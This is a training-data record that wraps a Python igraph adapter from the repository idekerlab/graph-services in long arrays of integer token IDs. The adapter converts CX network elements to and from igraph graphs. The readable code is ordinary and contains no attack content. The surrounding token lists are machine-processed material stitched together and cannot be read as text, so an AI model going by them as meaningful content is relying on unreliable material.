1413, 5067, 199, 3, 302, 26, 406, 4968, 12, 2883, 5489, 315, 314, 2581, 199, 3, 333, 26, 1321, 30066, 440, 18590, 734, 12, 24382, 279, 370, 1413, 5067, 627, 2653, 199, 3, 664, 1253, 663, 365, 593, 8, 17, 395, 440, 593, 8, 78, 680, 12850, 781, 883, 2291, 7437, 7031, 302, 199, 3, 3254, 26, 340, 2653, 503, 1413, 5067, 365, 4634, 7031, 12, 2066, 642, 2581, 365, 440, 7437, 13402, 12, 199, 3, 755, 465, 5584, 7840, 342, 14486, 1846, 16834, 421, 199, 533, 491, 9500, 4437, 8, 7882, 14, 17707, 7674, 304, 272, 408, 2765, 1021, 365, 440, 2462, 5048, 624, 339, 347, 636, 826, 721, 277, 12, 2653, 29, 2259, 12, 4002, 63, 3058, 29, 403, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 2593, 275, 2653, 267, 291, 14, 1600, 63, 3058, 275, 4002, 63, 3058, 267, 291, 423, 1617, 275, 1052, 267, 291, 423, 521, 63, 475, 63, 1612, 275, 5055, 14, 21501, 8, 513, 9, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 275, 1052, 267, 291, 423, 2019, 63, 433, 30066, 275, 5055, 14, 22983, 342, 267, 291, 423, 5938, 63, 1459, 275, 663, 342, 267, 291, 14, 873, 8, 807, 2031, 589, 12, 1011, 958, 430, 221, 327, 675, 314, 2867, 1678, 370, 663, 2883, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 327, 593, 8, 17, 9, 267, 307, 275, 900, 14, 521, 342, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 275, 307, 267, 291, 423, 521, 63, 475, 63, 1612, 59, 84, 1055, 740, 8, 498, 9, 267, 291, 423, 2019, 63, 433, 30066, 14, 740, 8, 84, 9, 267, 372, 291, 423, 1617, 59, 498, 61, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 327, 593, 8, 17, 9, 267, 307, 275, 900, 14, 521, 342, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 275, 307, 267, 291, 423, 1617, 59, 498, 61, 275, 574, 267, 291, 423, 521, 63, 475, 63, 1612, 59, 84, 1055, 740, 8, 498, 9, 267, 291, 423, 2019, 63, 433, 30066, 14, 740, 8, 84, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 327, 593, 8, 17, 9, 267, 2150, 291, 423, 1617, 59, 498, 61, 267, 2150, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 339, 347, 636, 1661, 721, 277, 304, 267, 372, 2740, 8, 277, 423, 1617, 9, 339, 347, 636, 552, 721, 277, 304, 267, 372, 822, 8, 277, 423, 1617, 9, 339, 347, 5584, 7840, 8, 277, 304, 267, 327, 593, 8, 77, 9, 267, 3063, 275, 900, 14, 521, 342, 267, 286, 275, 378, 267, 1830, 822, 8, 277, 423, 2019, 63, 433, 30066, 9, 690, 378, 26, 288, 5210, 275, 291, 423, 2019, 63, 433, 30066, 59, 16, 61, 288, 340, 3063, 446, 5210, 2695, 291, 14, 2593, 26, 355, 2059, 288, 340, 291, 14, 1600, 63, 3058, 365, 440, 488, 26, 355, 367, 790, 315, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 2189, 490, 340, 790, 315, 291, 423, 1617, 26, 717, 340, 3063, 446, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 690, 291, 14, 2593, 26, 1169, 574, 275, 291, 423, 1617, 59, 498, 61, 1169, 340, 574, 440, 315, 291, 423, 5938, 63, 1459, 26, 1816, 291, 14, 1600, 63, 3058, 8, 585, 9, 1816, 291, 423, 5938, 63, 1459, 14, 525, 8, 585, 9, 288, 367, 790, 315, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 2189, 355, 291, 423, 2019, 63, 433, 30066, 14, 25704, 342, 355, 340, 790, 315, 291, 423, 1617, 26, 490, 340, 3063, 446, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 690, 291, 14, 2593, 26, 717, 2150, 291, 423, 1617, 59, 498, 61, 717, 2150, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 717, 286, 847, 413, 288, 2150, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 61, 267, 340, 286, 26, 288, 291, 423, 5938, 63, 1459, 14, 3584, 342, 288, 2050, 14, 1757, 3508, 68, 2883, 308, 1129, 541, 7, 450, 286, 9, 421, 199, 318, 511, 837, 272, 286, 275, 491, 9500, 4437, 8, 2593, 29, 16, 14, 19, 9, 339, 286, 459, 65, 418, 275, 413, 272, 702, 286, 459, 65, 418, 508, 413, 339, 900, 14, 4532, 8, 16, 14, 21, 9, 272, 286, 14, 31701, 342, 272, 702, 283, 65, 7, 440, 315, 286, 339, 286, 459, 65, 418, 275, 499, 272, 286, 459, 66, 418, 275, 650, 272, 900, 14, 4532, 8, 16, 14, 18, 9, 272, 286, 14, 31701, 342, 272, 702, 286, 459, 65, 418, 508, 499, 272, 702, 286, 459, 66, 418, 508, 650, 339, 900, 14, 4532, 8, 16, 14, 18, 9, 272, 286, 14, 31701, 342, 272, 286 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 1898, 6900, 286, 674, 11530, 89, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 12, 971, 272, 543, 63, 6242, 199, 199, 646, 5055, 199, 646, 2050, 199, 646, 900, 421, 199, 3, 642, 491, 9500, 4437, 365, 20212, 367, 406, 4968, 12, 440, 1413, 5067, 199, 3, 302, 26, 406, 4968, 12, 2883, 5489, 315, 314, 2581, 199, 3, 333, 26, 1321, 30066, 440, 18590, 734, 12, 24382, 279, 370, 1413, 5067, 627, 2653, 199, 3, 664, 1253, 663, 365, 593, 8, 17, 395, 440, 593, 8, 78, 680, 12850, 781, 883, 2291, 7437, 7031, 302, 199, 3, 3254, 26, 340, 2653, 503, 1413, 5067, 365, 4634, 7031, 12, 2066, 642, 2581, 365, 440, 7437, 13402, 12, 199, 3, 755, 465, 5584, 7840, 342, 14486, 1846, 16834, 421, 199, 533, 491, 9500, 4437, 8, 7882, 14, 17707, 7674, 304, 272, 408, 2765, 1021, 365, 440, 2462, 5048, 624, 339, 347, 636, 826, 721, 277, 12, 2653, 29, 2259, 12, 4002, 63, 3058, 29, 403, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 2593, 275, 2653, 267, 291, 14, 1600, 63, 3058, 275, 4002, 63, 3058, 267, 291, 423, 1617, 275, 1052, 267, 291, 423, 521, 63, 475, 63, 1612, 275, 5055, 14, 21501, 8, 513, 9, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 275, 1052, 267, 291, 423, 2019, 63, 433, 30066, 275, 5055, 14, 22983, 342, 267, 291, 423, 5938, 63, 1459, 275, 663, 342, 267, 291, 14, 873, 8, 807, 2031, 589, 12, 1011, 958, 430, 221, 327, 675, 314, 2867, 1678, 370, 663, 2883, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 327, 593, 8, 17, 9, 267, 307, 275, 900, 14, 521, 342, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 275, 307, 267, 291, 423, 521, 63, 475, 63, 1612, 59, 84, 1055, 740, 8, 498, 9, 267, 291, 423, 2019, 63, 433, 30066, 14, 740, 8, 84, 9, 267, 372, 291, 423, 1617, 59, 498, 61, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 327, 593, 8, 17, 9, 267, 307, 275, 900, 14, 521, 342, 267, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 275, 307, 267, 291, 423, 1617, 59, 498, 61, 275, 574, 267, 291, 423, 521, 63, 475, 63, 1612, 59, 84, 1055, 740, 8, 498, 9, 267, 291, 423, 2019, 63, 433, 30066, 14, 740, 8, 84, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 327, 593, 8, 17, 9, 267, 2150, 291, 423, 1617, 59, 498, 61, 267, 2150, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 339, 347, 636, 1661, 721, 277, 304, 267, 372, 2740, 8, 277, 423, 1617, 9, 339, 347, 636, 552, 721, 277, 304, 267, 372, 822, 8, 277, 423, 1617, 9, 339, 347, 5584, 7840, 8, 277, 304, 267, 327, 593, 8, 77, 9, 267, 3063, 275, 900, 14, 521, 342, 267, 286, 275, 378, 267, 1830, 822, 8, 277, 423, 2019, 63, 433, 30066, 9, 690, 378, 26, 288, 5210, 275, 291, 423, 2019, 63, 433, 30066, 59, 16, 61, 288, 340, 3063, 446, 5210, 2695, 291, 14, 2593, 26, 355, 2059, 288, 340, 291, 14, 1600, 63, 3058, 365, 440, 488, 26, 355, 367, 790, 315, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 2189, 490, 340, 790, 315, 291, 423, 1617, 26, 717, 340, 3063, 446, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 690, 291, 14, 2593, 26, 1169, 574, 275, 291, 423, 1617, 59, 498, 61, 1169, 340, 574, 440, 315, 291, 423, 5938, 63, 1459, 26, 1816, 291, 14, 1600, 63, 3058, 8, 585, 9, 1816, 291, 423, 5938, 63, 1459, 14, 525, 8, 585, 9, 288, 367, 790, 315, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 2189, 355, 291, 423, 2019, 63, 433, 30066, 14, 25704, 342, 355, 340, 790, 315, 291, 423, 1617, 26, 490, 340, 3063, 446, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 690, 291, 14, 2593, 26, 717, 2150, 291, 423, 1617, 59, 498, 61, 717, 2150, 291, 423, 1612, 63, 475, 63, 2019, 63, 521, 59, 498, 61, 717, 286, 847, 413, 288, 2150, 291, 423, 521, 63, 475, 63, 1612, 59, 11790, 61, 267, 340, 286, 26, 288, 291, 423, 5938, 63, 1459, 14, 3584, 342, 288, 2050, 14, 1757, 3508, 68, 2883, 308, 1129, 541, 7, 450, 286, 9, 421, 199, 318, 511, 837, 272, 286, 275, 491, 9500, 4437, 8, 2593, 29, 16, 14, 19, 9, 339, 286, 459, 65, 418, 275, 413, 272, 702, 286, 459, 65, 418, 508, 413, 339, 900, 14, 4532, 8, 16, 14, 21, 9, 272, 286, 14, 31701, 342, 272, 702, 283, 65, 7, 440, 315, 286, 339, 286, 459, 65, 418, 275, 499, 272, 286, 459, 66, 418, 275, 650, 272, 900, 14, 4532, 8, 16, 14, 18, 9, 272, 286, 14, 31701, 342, 272, 702, 286, 459, 65, 418, 508, 499, 272, 702,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
idekerlab/graph-services
services/ig_community/service/Adapter_test/Adapter.py
3
6020
import igraph as ig import logging import itertools import cxmate from cxmate.cxmate_pb2 import NetworkElement logger = logging.getLogger('IgraphAdapter') logger.setLevel(logging.INFO) class IgraphAdapter(cxmate.Adapter): @staticmethod def to_igraph(ele_iter): networks = [] while ele_iter: network, ele_iter = IgraphAdapter.read_igraph(ele_iter) networks.append(network) return networks @staticmethod def read_igraph(ele_iter): network = ig.Graph(directed=False) attrs = [] nodes = {} edges = {} edges_index = {} for ele in ele_iter: if not 'label' in network.attributes(): network['label'] = ele.label if ele.label != network['label']: return network, itertools.chain([ele], ele_iter) ele_type = ele.WhichOneof('element') if ele_type == 'node': node = ele.node network.add_vertex(name=node.name, nodeId=int(node.id)) nodes[node.id] = network.vcount() - 1 elif ele_type == 'edge': edge = ele.edge src, tgt = int(edge.sourceId), int(edge.targetId) # src_index = network.vs[nodes[src]].index # tgt_index = network.vs[nodes[tgt]].index src_index = nodes[src] tgt_index = nodes[tgt] edges[int(edge.id)] = (src_index, tgt_index) network.add_edge(src_index, tgt_index, id=int(edge.id), interaction=edge.interaction) edges_index[int(edge.id)] = network.ecount() - 1 elif ele_type == 'nodeAttribute': attr = ele.nodeAttribute network.vs[nodes[attr.nodeId]][attr.name] = IgraphAdapter.parse_value(attr) elif ele_type == 'edgeAttribute': attr = ele.edgeAttribute attrs.append(attr) elif ele_type == 'networkAttribute': attr = ele.networkAttribute network[attr.name] = IgraphAdapter.parse_value(attr) for attr in attrs: source, target = edges[int(attr.edgeId)] network.es[edges_index[attr.edgeId]][attr.name] = IgraphAdapter.parse_value(attr) attrs = [] return network, None @staticmethod def parse_value(attr): value = attr.value if attr.type: if attr.type in ('boolean'): value = value.lower() in ('true') elif attr.type in ('double', 'float'): value = float(value) elif attr.type in ('integer', 'short', 'long'): value = int(value) return value @staticmethod def from_igraph(networks): """ Creates a CX element generator from a list of igraph objects :param networks: A list of igraph objects :returns: A CX element generator """ for network in networks: builder = NetworkElementBuilder(network['label']) for node in network.vs(): nodeId = node['nodeId'] attrs = node.attributes() yield builder.Node(nodeId, str(attrs.get('name', ''))) for k, v in attrs.items(): if k not in ('name', 'nodeId') and v is not None: yield builder.NodeAttribute(nodeId, k, v) for edge in network.es(): sourceId = network.vs[edge.source]['nodeId'] targetId = network.vs[edge.target]['nodeId'] attrs = edge.attributes() yield builder.Edge(attrs.get('id', edge.index), sourceId, targetId, attrs.get('interaction', '')) for k, v in attrs.items(): if k not in ('interaction', 'id') and v is not None: yield builder.EdgeAttribute(attrs.get('id', edge.index), k, v) for attrs_key in network.attributes(): yield builder.NetworkAttribute(attrs_key, network[attrs_key]) class NetworkElementBuilder(): """ Factory class for declaring the network element from igraph attributes """ def __init__(self, label): self.label = label def Node(self, nodeId, name): ele = self.new_element() node = ele.node node.id = nodeId node.name = name return ele def Edge(self, edgeId, sourceId, targetId, interaction): ele = self.new_element() edge = ele.edge edge.id = edgeId edge.sourceId = sourceId edge.targetId = targetId edge.interaction = interaction return ele def NodeAttribute(self, nodeId, key, value): ele = self.new_element() nodeAttr = ele.nodeAttribute nodeAttr.nodeId = nodeId typ, value = self.from_value(value) nodeAttr.type = typ nodeAttr.name = key nodeAttr.value = value return ele def EdgeAttribute(self, edgeId, key, value): ele = self.new_element() edgeAttr = ele.edgeAttribute edgeAttr.edgeId = edgeId typ, value = self.from_value(value) edgeAttr.type = typ edgeAttr.name = key edgeAttr.value = value return ele def NetworkAttribute(self, key, value): ele = self.new_element() networkAttr = ele.networkAttribute networkAttr.name = key typ, value = self.from_value(value) networkAttr.type = typ networkAttr.value = value return ele def new_element(self): ele = NetworkElement() ele.label = self.label return ele def from_value(self, value): if isinstance(value, bool): return 'boolean', str(value) elif isinstance(value, float): return 'double', str(value) elif isinstance(value, int): return 'integer', str(value) return 'string', str(value)
mit
[ 646, 284, 2180, 465, 284, 71, 199, 646, 2050, 199, 646, 7975, 199, 646, 286, 10198, 323, 199, 504, 286, 10198, 323, 14, 67, 10198, 323, 63, 3317, 18, 492, 7220, 2162, 199, 199, 2921, 275, 2050, 14, 5572, 360, 41, 2180, 10200, 358, 199, 2921, 14, 13548, 8, 4806, 14, 4531, 9, 421, 199, 533, 473, 2180, 10200, 8, 67, 10198, 323, 14, 10200, 304, 339, 768, 4639, 272, 347, 370, 63, 528, 3255, 8, 8081, 63, 1661, 304, 267, 11759, 275, 942, 267, 1830, 12993, 63, 1661, 26, 288, 2784, 12, 12993, 63, 1661, 275, 473, 2180, 10200, 14, 739, 63, 528, 3255, 8, 8081, 63, 1661, 9, 288, 11759, 14, 740, 8, 1200, 9, 267, 372, 11759, 339, 768, 4639, 272, 347, 1586, 63, 528, 3255, 8, 8081, 63, 1661, 304, 267, 2784, 275, 284, 71, 14, 4578, 8, 12080, 29, 797, 9, 267, 3290, 275, 942, 267, 3380, 275, 1052, 267, 8207, 275, 1052, 267, 8207, 63, 1080, 275, 1052, 267, 367, 12993, 315, 12993, 63, 1661, 26, 288, 340, 440, 283, 1302, 7, 315, 2784, 14, 2987, 837, 355, 2784, 459, 1302, 418, 275, 12993, 14, 1302, 288, 340, 12993, 14, 1302, 1137, 2784, 459, 1302, 2565, 355, 372, 2784, 12, 7975, 14, 4429, 779, 8081, 467, 12993, 63, 1661, 9, 288, 12993, 63, 466, 275, 12993, 14, 31619, 4395, 1618, 360, 2108, 358, 288, 340, 12993, 63, 466, 508, 283, 932, 356, 355, 1031, 275, 12993, 14, 932, 355, 2784, 14, 525, 63, 11417, 8, 354, 29, 932, 14, 354, 12, 1031, 1304, 29, 442, 8, 932, 14, 344, 430, 355, 3380, 59, 932, 14, 344, 61, 275, 2784, 14, 86, 835, 342, 446, 413, 288, 916, 12993, 63, 466, 508, 283, 5173, 356, 355, 6275, 275, 12993, 14, 5173, 355, 2928, 12, 11967, 275, 1109, 8, 5173, 14, 1365, 1304, 395, 1109, 8, 5173, 14, 1375, 1304, 9, 355, 327, 2928, 63, 1080, 275, 2784, 14, 3122, 59, 2415, 59, 2164, 20230, 1080, 355, 327, 11967, 63, 1080, 275, 2784, 14, 3122, 59, 2415, 59, 15328, 20230, 1080, 355, 2928, 63, 1080, 275, 3380, 59, 2164, 61, 355, 11967, 63, 1080, 275, 3380, 59, 15328, 61, 355, 8207, 59, 442, 8, 5173, 14, 344, 1874, 275, 334, 2164, 63, 1080, 12, 11967, 63, 1080, 9, 355, 2784, 14, 525, 63, 5173, 8, 2164, 63, 1080, 12, 11967, 63, 1080, 12, 1305, 29, 442, 8, 5173, 14, 344, 395, 18752, 29, 5173, 14, 21679, 9, 355, 8207, 63, 1080, 59, 442, 8, 5173, 14, 344, 1874, 275, 2784, 14, 69, 835, 342, 446, 413, 288, 916, 12993, 63, 466, 508, 283, 932, 1646, 356, 355, 1921, 275, 12993, 14, 932, 1646, 355, 2784, 14, 3122, 59, 2415, 59, 962, 14, 932, 1304, 22235, 962, 14, 354, 61, 275, 473, 2180, 10200, 14, 1122, 63, 585, 8, 962, 9, 288, 916, 12993, 63, 466, 508, 283, 5173, 1646, 356, 355, 1921, 275, 12993, 14, 5173, 1646, 355, 3290, 14, 740, 8, 962, 9, 288, 916, 12993, 63, 466, 508, 283, 1200, 1646, 356, 355, 1921, 275, 12993, 14, 1200, 1646, 355, 2784, 59, 962, 14, 354, 61, 275, 473, 2180, 10200, 14, 1122, 63, 585, 8, 962, 9, 288, 367, 1921, 315, 3290, 26, 355, 1350, 12, 1347, 275, 8207, 59, 442, 8, 962, 14, 5173, 1304, 1874, 355, 2784, 14, 397, 59, 6929, 63, 1080, 59, 962, 14, 5173, 1304, 22235, 962, 14, 354, 61, 275, 473, 2180, 10200, 14, 1122, 63, 585, 8, 962, 9, 355, 3290, 275, 942, 267, 372, 2784, 12, 488, 339, 768, 4639, 272, 347, 2198, 63, 585, 8, 962, 304, 267, 574, 275, 1921, 14, 585, 267, 340, 1921, 14, 466, 26, 288, 340, 1921, 14, 466, 315, 661, 4871, 735, 355, 574, 275, 574, 14, 2325, 342, 315, 661, 2052, 358, 288, 916, 1921, 14, 466, 315, 661, 3157, 297, 283, 1609, 735, 355, 574, 275, 2069, 8, 585, 9, 288, 916, 1921, 14, 466, 315, 661, 4115, 297, 283, 3612, 297, 283, 2809, 735, 355, 574, 275, 1109, 8, 585, 9, 267, 372, 574, 339, 768, 4639, 272, 347, 687, 63, 528, 3255, 8, 7642, 304, 267, 408, 267, 10560, 282, 445, 56, 1819, 4306, 687, 282, 769, 402, 284, 2180, 2251, 398, 520, 635, 11759, 26, 437, 769, 402, 284, 2180, 2251, 267, 520, 5808, 26, 437, 445, 56, 1819, 4306, 267, 408, 398, 367, 2784, 315, 11759, 26, 288, 6545, 275, 7220, 2162, 6437, 8, 1200, 459, 1302, 1105, 953, 367, 1031, 315, 2784, 14, 3122, 837, 355, 1031, 1304, 275, 1031, 459, 932, 1304, 418, 355, 3290, 275, 1031, 14, 2987, 342, 355, 1995, 6545, 14, 1716, 8, 932, 1304, 12, 620, 8, 3288, 14, 362, 360, 354, 297, 4074, 430, 2234, 367, 1022, 12, 373, 315, 3290, 14, 1744, 837, 490, 340, 1022, 440, 315, 661, 354, 297, 283, 932, 1304, 358, 436, 373, 365, 440, 488, 26, 717, 1995, 6545, 14, 1716, 1646, 8, 932, 1304, 12, 1022, 12, 373, 9, 953, 367, 6275, 315, 2784, 14, 397, 837, 355, 1350, 1304, 275, 2784, 14, 3122, 59, 5173, 14, 1365, 2733, 932, 1304, 418, 355, 1347, 1304, 275, 2784, 14, 3122, 59, 5173, 14, 1375, 2733, 932, 1304, 418, 355, 3290, 275, 6275, 14, 2987, 342, 355, 1995, 6545, 14, 12886, 8, 3288, 14, 362, 360, 344, 297, 6275, 14, 1080, 395, 1350, 1304, 12, 1347, 1304, 12, 3290, 14, 362, 360, 21679, 297, 12381, 2234, 367, 1022, 12, 373, 315, 3290, 14, 1744, 837, 490, 340, 1022, 440, 315, 661, 21679, 297, 283, 344, 358, 436, 373, 365, 440, 488, 26, 717, 1995, 6545, 14, 12886, 1646, 8, 3288, 14, 362, 360, 344, 297, 6275, 14, 1080, 395, 1022, 12, 373, 9, 953, 367, 3290, 63, 498, 315, 2784, 14, 2987, 837, 355, 1995, 6545, 14, 4491, 1646, 8, 3288, 63, 498, 12, 2784, 59, 3288, 63, 498, 566, 421, 199, 533, 7220, 2162, 6437, 837, 272, 408, 272, 23616, 1021, 367, 13507, 316, 314, 2784, 1819, 687, 284, 2180, 3004, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1768, 304, 267, 291, 14, 1302, 275, 1768, 339, 347, 5013, 8, 277, 12 ]
[ 284, 2180, 465, 284, 71, 199, 646, 2050, 199, 646, 7975, 199, 646, 286, 10198, 323, 199, 504, 286, 10198, 323, 14, 67, 10198, 323, 63, 3317, 18, 492, 7220, 2162, 199, 199, 2921, 275, 2050, 14, 5572, 360, 41, 2180, 10200, 358, 199, 2921, 14, 13548, 8, 4806, 14, 4531, 9, 421, 199, 533, 473, 2180, 10200, 8, 67, 10198, 323, 14, 10200, 304, 339, 768, 4639, 272, 347, 370, 63, 528, 3255, 8, 8081, 63, 1661, 304, 267, 11759, 275, 942, 267, 1830, 12993, 63, 1661, 26, 288, 2784, 12, 12993, 63, 1661, 275, 473, 2180, 10200, 14, 739, 63, 528, 3255, 8, 8081, 63, 1661, 9, 288, 11759, 14, 740, 8, 1200, 9, 267, 372, 11759, 339, 768, 4639, 272, 347, 1586, 63, 528, 3255, 8, 8081, 63, 1661, 304, 267, 2784, 275, 284, 71, 14, 4578, 8, 12080, 29, 797, 9, 267, 3290, 275, 942, 267, 3380, 275, 1052, 267, 8207, 275, 1052, 267, 8207, 63, 1080, 275, 1052, 267, 367, 12993, 315, 12993, 63, 1661, 26, 288, 340, 440, 283, 1302, 7, 315, 2784, 14, 2987, 837, 355, 2784, 459, 1302, 418, 275, 12993, 14, 1302, 288, 340, 12993, 14, 1302, 1137, 2784, 459, 1302, 2565, 355, 372, 2784, 12, 7975, 14, 4429, 779, 8081, 467, 12993, 63, 1661, 9, 288, 12993, 63, 466, 275, 12993, 14, 31619, 4395, 1618, 360, 2108, 358, 288, 340, 12993, 63, 466, 508, 283, 932, 356, 355, 1031, 275, 12993, 14, 932, 355, 2784, 14, 525, 63, 11417, 8, 354, 29, 932, 14, 354, 12, 1031, 1304, 29, 442, 8, 932, 14, 344, 430, 355, 3380, 59, 932, 14, 344, 61, 275, 2784, 14, 86, 835, 342, 446, 413, 288, 916, 12993, 63, 466, 508, 283, 5173, 356, 355, 6275, 275, 12993, 14, 5173, 355, 2928, 12, 11967, 275, 1109, 8, 5173, 14, 1365, 1304, 395, 1109, 8, 5173, 14, 1375, 1304, 9, 355, 327, 2928, 63, 1080, 275, 2784, 14, 3122, 59, 2415, 59, 2164, 20230, 1080, 355, 327, 11967, 63, 1080, 275, 2784, 14, 3122, 59, 2415, 59, 15328, 20230, 1080, 355, 2928, 63, 1080, 275, 3380, 59, 2164, 61, 355, 11967, 63, 1080, 275, 3380, 59, 15328, 61, 355, 8207, 59, 442, 8, 5173, 14, 344, 1874, 275, 334, 2164, 63, 1080, 12, 11967, 63, 1080, 9, 355, 2784, 14, 525, 63, 5173, 8, 2164, 63, 1080, 12, 11967, 63, 1080, 12, 1305, 29, 442, 8, 5173, 14, 344, 395, 18752, 29, 5173, 14, 21679, 9, 355, 8207, 63, 1080, 59, 442, 8, 5173, 14, 344, 1874, 275, 2784, 14, 69, 835, 342, 446, 413, 288, 916, 12993, 63, 466, 508, 283, 932, 1646, 356, 355, 1921, 275, 12993, 14, 932, 1646, 355, 2784, 14, 3122, 59, 2415, 59, 962, 14, 932, 1304, 22235, 962, 14, 354, 61, 275, 473, 2180, 10200, 14, 1122, 63, 585, 8, 962, 9, 288, 916, 12993, 63, 466, 508, 283, 5173, 1646, 356, 355, 1921, 275, 12993, 14, 5173, 1646, 355, 3290, 14, 740, 8, 962, 9, 288, 916, 12993, 63, 466, 508, 283, 1200, 1646, 356, 355, 1921, 275, 12993, 14, 1200, 1646, 355, 2784, 59, 962, 14, 354, 61, 275, 473, 2180, 10200, 14, 1122, 63, 585, 8, 962, 9, 288, 367, 1921, 315, 3290, 26, 355, 1350, 12, 1347, 275, 8207, 59, 442, 8, 962, 14, 5173, 1304, 1874, 355, 2784, 14, 397, 59, 6929, 63, 1080, 59, 962, 14, 5173, 1304, 22235, 962, 14, 354, 61, 275, 473, 2180, 10200, 14, 1122, 63, 585, 8, 962, 9, 355, 3290, 275, 942, 267, 372, 2784, 12, 488, 339, 768, 4639, 272, 347, 2198, 63, 585, 8, 962, 304, 267, 574, 275, 1921, 14, 585, 267, 340, 1921, 14, 466, 26, 288, 340, 1921, 14, 466, 315, 661, 4871, 735, 355, 574, 275, 574, 14, 2325, 342, 315, 661, 2052, 358, 288, 916, 1921, 14, 466, 315, 661, 3157, 297, 283, 1609, 735, 355, 574, 275, 2069, 8, 585, 9, 288, 916, 1921, 14, 466, 315, 661, 4115, 297, 283, 3612, 297, 283, 2809, 735, 355, 574, 275, 1109, 8, 585, 9, 267, 372, 574, 339, 768, 4639, 272, 347, 687, 63, 528, 3255, 8, 7642, 304, 267, 408, 267, 10560, 282, 445, 56, 1819, 4306, 687, 282, 769, 402, 284, 2180, 2251, 398, 520, 635, 11759, 26, 437, 769, 402, 284, 2180, 2251, 267, 520, 5808, 26, 437, 445, 56, 1819, 4306, 267, 408, 398, 367, 2784, 315, 11759, 26, 288, 6545, 275, 7220, 2162, 6437, 8, 1200, 459, 1302, 1105, 953, 367, 1031, 315, 2784, 14, 3122, 837, 355, 1031, 1304, 275, 1031, 459, 932, 1304, 418, 355, 3290, 275, 1031, 14, 2987, 342, 355, 1995, 6545, 14, 1716, 8, 932, 1304, 12, 620, 8, 3288, 14, 362, 360, 354, 297, 4074, 430, 2234, 367, 1022, 12, 373, 315, 3290, 14, 1744, 837, 490, 340, 1022, 440, 315, 661, 354, 297, 283, 932, 1304, 358, 436, 373, 365, 440, 488, 26, 717, 1995, 6545, 14, 1716, 1646, 8, 932, 1304, 12, 1022, 12, 373, 9, 953, 367, 6275, 315, 2784, 14, 397, 837, 355, 1350, 1304, 275, 2784, 14, 3122, 59, 5173, 14, 1365, 2733, 932, 1304, 418, 355, 1347, 1304, 275, 2784, 14, 3122, 59, 5173, 14, 1375, 2733, 932, 1304, 418, 355, 3290, 275, 6275, 14, 2987, 342, 355, 1995, 6545, 14, 12886, 8, 3288, 14, 362, 360, 344, 297, 6275, 14, 1080, 395, 1350, 1304, 12, 1347, 1304, 12, 3290, 14, 362, 360, 21679, 297, 12381, 2234, 367, 1022, 12, 373, 315, 3290, 14, 1744, 837, 490, 340, 1022, 440, 315, 661, 21679, 297, 283, 344, 358, 436, 373, 365, 440, 488, 26, 717, 1995, 6545, 14, 12886, 1646, 8, 3288, 14, 362, 360, 344, 297, 6275, 14, 1080, 395, 1022, 12, 373, 9, 953, 367, 3290, 63, 498, 315, 2784, 14, 2987, 837, 355, 1995, 6545, 14, 4491, 1646, 8, 3288, 63, 498, 12, 2784, 59, 3288, 63, 498, 566, 421, 199, 533, 7220, 2162, 6437, 837, 272, 408, 272, 23616, 1021, 367, 13507, 316, 314, 2784, 1819, 687, 284, 2180, 3004, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1768, 304, 267, 291, 14, 1302, 275, 1768, 339, 347, 5013, 8, 277, 12, 0 ]
